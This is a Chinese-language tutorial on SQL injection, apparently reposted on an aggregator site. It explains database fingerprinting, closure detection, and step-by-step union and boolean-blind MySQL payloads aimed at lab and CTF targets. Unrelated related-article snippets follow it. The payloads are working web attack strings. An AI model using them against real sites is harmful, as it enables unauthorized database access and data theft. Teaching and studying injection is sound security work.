Web安全:SQL注入

一、SQL注入三要素

1、用户可以对输入的参数值进行修改。

2、后端不对用户输入的参数值进行严格过滤。

3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。

二、SQL注入原理

        简单来说,用户输入的值会被插入到SQL语句中,然后发送到数据库执行,当用户输入的内容经过引号或者双引号等东西的闭合,造成用户输入的内容被解析成SQL指令去执行。

  例如:用户输入的参数会被插入到$id上。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"

  而用户可以通过输入参数将SQL语句修改成一下语句,进而在数据库运行获得想要的数据。

"SELECT * FROM users WHERE id=-1 union select 1,database(),version() LIMIT 0,1"

        SQL 注入攻击:通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL 语句进而执行攻击者所要的操作。

        SQL 注入主要原因:程序没有细致地过滤用户输入的数据,致使非法数据入侵系统,出现开发人员预期外的事件。

三、SQL分类

四、SQL注入流程

1.判断SQL注入点

表单提交:POST 请求、GET 请求

URL 参数提交:GET 请求参数

HTTP 请求头部:Referer(IP地址源)、User_Agent(用户代理UA注入)、X-Forwared-ForCookie(XFF注入)

2、判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以使用Nmap对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

根据注释符判断

        “#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格

        “null”“%00”是Access支持的注释。“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

        “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据其返回的错误类型

ORACLE
        ORA-01756:quoted string not properly terminated
        ORA-00933:SQLcommand not properly ended


MS-SQL
        Msg 170,level 15, State 1,Line 1
        Line 1:Incorrect syntax near ‘foo
        Msg 105,level 15,state 1,Line 1
        Unclose quotation mark before the character string ‘foo

MYSQL

 SQL Server

基于数据库特性 

某些函数为数据库所特有,可以判断通过执行特殊的函数来判断数据库类型。

3.判断参数类型

判断闭合方式

        使用双引号”、单引号‘、括号)等,判断参数的闭合方式,如果是双引号,则在参数键入一个双引号会报错。如果是单引号或者括号,则对应键入单引号或括号会报错。

数值型

        数值型不带任何符号,键入任何符号都会报错。

select * from user where username = 1;
字符型

        字符型带符号,需要键入相对应的符号,进行闭合方式的判断。

select * from user where username = "zhangsan";

闭合:可以使得原语句参数位置结束,方便我们插入新恶意语句,使得恶意语句被当作SQL语句来命令执行。

4.利用注入方式

MYSQL的系统表

information_schema

select * from information_schema.COLUMNS
//查询系统表结构
表名注释

schemata

提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表

tables

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema、表类型、表引擎、创建时间等信息。show tables from schemaname的结果取之此表

columns

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表

MYSQL的注释方式

        --%20(url编码%20相当于空格,相当于--+)、#(在url里不可用)

联合注入

        通过修改闭合参数,添加修改查询SQL语句,以此获得目标信息。

1.联合查询语句构造步骤:

        a.确定查询的列数:通过构造不同的注入语句并观察返回结果的变化,逐渐增加联合查询语句中的列数,直到不再返回错误或异常。

        通过Order获取确定的列数,一直尝试直到不报错。

?id=2' order by 3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        b.确定可用的列:通过构造注入语句并使用 UNION SELECT 语句,逐个测试每个列,以确定哪些列返回了有效的数据。

        通过Select获取有回显的有效列

?id=-2' union select 1,2,3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

可以发现具有回显的有效列为2和3。 

        c.获取表数据:使用注入语句和SELECT 语句来获取表中的数据。

2.联合查询语句

        确定了具体的列数和有效回显列后,就可编写具体的联合查询语句获得相关的数据。

        获取数据库名和版本信息;

?id=-1' union select 1,database(),version() --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        获取表名信息,其中group_concat(table_name)是一个MySQL函数,用于将查询结果中的多个行合并成一个字符串,并以逗号分隔;

?id=1' union select 1,group_concat(table_name)  from information_schema.tables where TABLE_SCHEMA=database()#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

         获取表内的列名信息

1' union select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA='dvwa'#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

布尔盲注 

        布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

1.盲注思路

盲注需要考虑多种情况,一般思路如下:

  • 爆库名长度
  • 根据库名长度爆库名
  • 对当前库爆表数量
  • 根据库名和表数量爆表名长度
  • 根据表名长度爆表名
  • 对表爆列数量
  • 根据表名和列数量爆列名长度
  • 根据列名长度爆列名
  • 根据列名爆数据值

2.盲注原理

  正确的情况和错误的情况返回的页面不一样

?id=3' and 1=1 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为真页面

?id=3' and 1=2 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为假页面 

        通过穷举,验证真假,可以猜出数据库的信息。

3.盲注常用函数

  substr(str,from,length):返回从下标为from截取长度为length的str子串。首字符下标为1。

  length(str):返回str串长度

4.盲注步骤

        爆数据库名长度

        首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

?id=1' and length(database())>1 --+
?id=1' and length(database())>2 --+
?id=1' and length(database())>3 --+
....
//单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         这里推荐用二分查找法找出具体的长度信息

        根据库名长度爆库名

        获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符。注意substr(database,i,1),i从1开始(第i个字符)

?id=1' and substr(database(),1,1)='a' --+

//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        这部分可以写脚本进行自动化测试。  

        对当前库爆表数量

        下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环。

?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=1 --+

//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据库名和表数量爆表名长度

        得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1 表示从第0条记录开始,取出1条结果。MYSQL中索引从0开始,所以取出的是第0条记录。
//要有两个括号

        根据表名长度爆表名

        再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名。

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1:其中0可修改,用于遍历所有表,从0开始,到表数量-1。
//substr(str,from,length):from可以从1遍历到表长度,length固定为1。
//再遍历等于a到z

        对表爆列数量

        操作同对当前库爆表数量的步骤,只是要查询的表为information_schema.columns。

?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 --+
//flag要改为上一步获得的表名
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据表名和列数量爆列名长度

        操作同对当前库爆表名长度的步骤,遍历0~列数-1

?id=1' and length((select COLUMN_NAME from information_schema.columns where table_schema='dvwa' and table_name='users' limit i,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         根据列名长度爆列名

         操作同对当前库爆表名的步骤

?id=1' and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit i,1),j,1)='a' --+
//i遍历列0~列数-1
//j遍历列各个字符1~列长度

        根据列名爆数据

        flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束。

?id=1' and substr((select flag from sqli.flag limit i,1),j,1)='}' --+
//遍历flag列的每一行查看是否符合flag的格式,符合即可得出答案。
//i从0~行数-1
//j从1到字符串长度
时间盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/794288.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Milvus 核心设计(1) ---- 数据一致性的等级及使用场景

目录 背景 Milvus的数据一致性 设置数据一致性等级 等级类型 PACELC定理 level 详细解释 Strong Bounded staleness Session Eventually 总结 背景 分布式上的可扩展性是个比较重要的concept。Chroma 核心之前写过了,他的最大优势在于轻量级且好用。Milvus相对Ch…

tkinter-TinUI-xml实战(11)多功能TinUIxml编辑器

引言 在TinUIXml简易编辑器中,我们通过TinUI搭建了一个简易的针对TinUIXml布局的编辑器,基本掌握了TinUIXml布局和TinUIXml的导入与导出。现在,就在此基础上,对编辑器进行升级。 本次升级的功能: 更合理的xml编辑与…

大众汽车入职SHL在线测评、英语口语、招聘笔试如何通过、考点分析|备考建议

大众汽车入职在线测验真题考点分析,通过技巧? 大众汽车集团(中国)在招聘过程中,认知能力测试是评估候选人是否适合某个职位的重要环节。候选人会收到带有线上测评链接的邮件,测评包括胜任力潜力测试(Compe…

多输入多输出 | Matlab实现Transformer多输入多输出预测

多输入多输出 | Matlab实现Transformer多输入多输出预测 目录 多输入多输出 | Matlab实现Transformer多输入多输出预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 多输入多输出 | Matlab实现Transformer多输入多输出预测(完整源码和数据) 1.da…

CSS选择器:基本选择器、复合选择器、伪类选择器、伪元素选择器

CSS选择器包含:基本选择器、复合选择器、伪类选择器、伪元素选择器。 选择器是选择标签的一种方式,例如 ID 选择器就是通过 ID 选择标签的,类选择器就是通过类名选择标签的。 在 CSS3 中有很多类型的选择器,如下是《W3school》提…

Android 使用 Debug.startMethodTracing 分析方法耗时

参考 Generate Trace Logs by Instrumenting Your App 官网提供了 trace 工具来分析方法耗时。 生成 trace 文件 package com.test.luodemo.trace;import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle; import android.os.Debug; import android.uti…

昇思25天学习打卡营第13天|基于MindNLP+MusicGen生成自己的个性化音乐

关于MindNLP MindNLP是一个依赖昇思MindSpore向上生长的NLP(自然语言处理)框架,旨在利用MindSpore的优势特性,如函数式融合编程、动态图功能、数据处理引擎等,致力于提供高效、易用的NLP解决方案。通过全面拥抱Huggin…

[C++]——同步异步日志系统(4)

同步异步日志系统 一、日志等级模块设计二、日志消息类设计 一、日志等级模块设计 定义出日志系统所包含的所有日志等级分别为:(7个等级) UNKNOW0,未知等级的日志DRBUG ,调试等级的日志INFO ,提示等级的日…

企业人事管理系统

1.课设要求描述 【系统描述】软件从登录界面开始,验证用户名与密码后,根据登录用户名权限的不同,打开软件后展示不同的功能模块。软件主要功能模块是人事管理、部门管理、备忘录、员工生日提醒、数据库的维护等。 通过简单分析后&#xf…

STM32串口工作原理

STM32的串口是相当丰富的,功能也很强劲。最多可提供5 路串口,有分数波特率发生器、支持单线光通信和半双工单线通讯、支持LIN、智能卡协议和IrDA SIRENDEC 规范(仅串口3支持)、具有DMA等。 串口最基本的设置,就是波特率的设置。STM32的串口使…

Nature Communications|柔性高密度、高灵敏应变传感器阵列(柔性应变传感/界面调控/电子皮肤/柔性电子)

复旦大学武利民( Limin Wu)和李卓( Zhuo Li)团队,在《Nature Communications》上发布了一篇题为“High-density, highly sensitive sensor array of spiky carbon nanospheres for strain field mapping”的论文。论文内容如下: 一、 摘要 在工程应用中,准确地映射应变…

暑假实践web前后端开发-笔记

(主要是前端开发,不做后端,前面先介绍一个实现了前后端的项目) 一. 安装和运行项目MoreMall 1.介绍项目MoreMall 已经实现前后端可以前后端交互,前端:client,后端:server&#xff…

轮转数组(超详细!)

前言: 小编在上一篇文章的时候拿过轮转数组作为例子来讲述复杂度,但是小编并没有给出这个题目的正确解答,既然读者朋友已经了解复杂度了(不了解也没关系,可以看小编上一篇文章),下面&#xff0c…

【数据结构】深入理解哈希及其底层数据结构

目录 一、unordered系列关联式容器 二、底层结构 2.1 哈希的概念 2.2 哈希冲突(哈希碰撞) 2.3 哈希函数 2.4 哈希冲突处理 2.4.1 闭散列(开放定址法) 2.4.1.1 代码实现: 2.4.2 开散列(链地址法&…

高职计算机网络实训室

一、高职计算机网络实训室建设的背景 如今,数字化发展已成为国家发展的战略方向,是推动社会进步和经济发展的重要动力。在这一时代背景下,计算机网络技术作为数字化发展的基础设施,其地位和作用愈发凸显。因此,高职院…

Python数据分析-乳腺癌诊断分析预测

一、研究背景 乳腺癌是全球女性中最常见的癌症之一,发病率和死亡率都处于较高水平。据世界卫生组织(WHO)统计,乳腺癌每年造成数百万女性的死亡,并且其发病率在许多国家呈上升趋势。乳腺癌的早期诊断对于提高患者的生存…

帕金森老人的锻炼建议

对于帕金森病老人来说,适当的锻炼可以帮助改善症状、增强肌肉力量、提高关节灵活性,并预防长期并发症。以下是一些基于最新信息的锻炼建议: 选择合适的运动类型:包括有氧运动、抗阻运动和牵伸运动。有氧运动如快走、慢跑、游泳和舞…

旅游景区度假村展示型网站如何建设渠道品牌

景区、度假村、境外旅游几乎每天的人流量都非常高,还包括本地附近游等,对景区及度假村等固定高流量场所,品牌和客户赋能都是需要完善的,尤其是信息展示方面,旅游客户了解前往及查看信息等。 通过雨科平台建设景区度假…

收银系统源码-视频介绍

千呼新零售2.0系统是零售行业连锁店一体化收银系统,包括线下收银线上商城连锁店管理ERP管理商品管理供应商管理会员营销等功能为一体,线上线下数据全部打通。 适用于商超、便利店、水果、生鲜、母婴、服装、零食、百货、宠物等连锁店使用。 详细介绍请…

目标检测基本标注工具-labelImg安装与使用

🍉一、安装 1.1 打开conda创建虚拟环境🎈 conda create -n labelImg python3.8 -y 1.2 激活labelImg虚拟环境🎈 activate labelImg1.3 安装labelImg🎈 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple lab…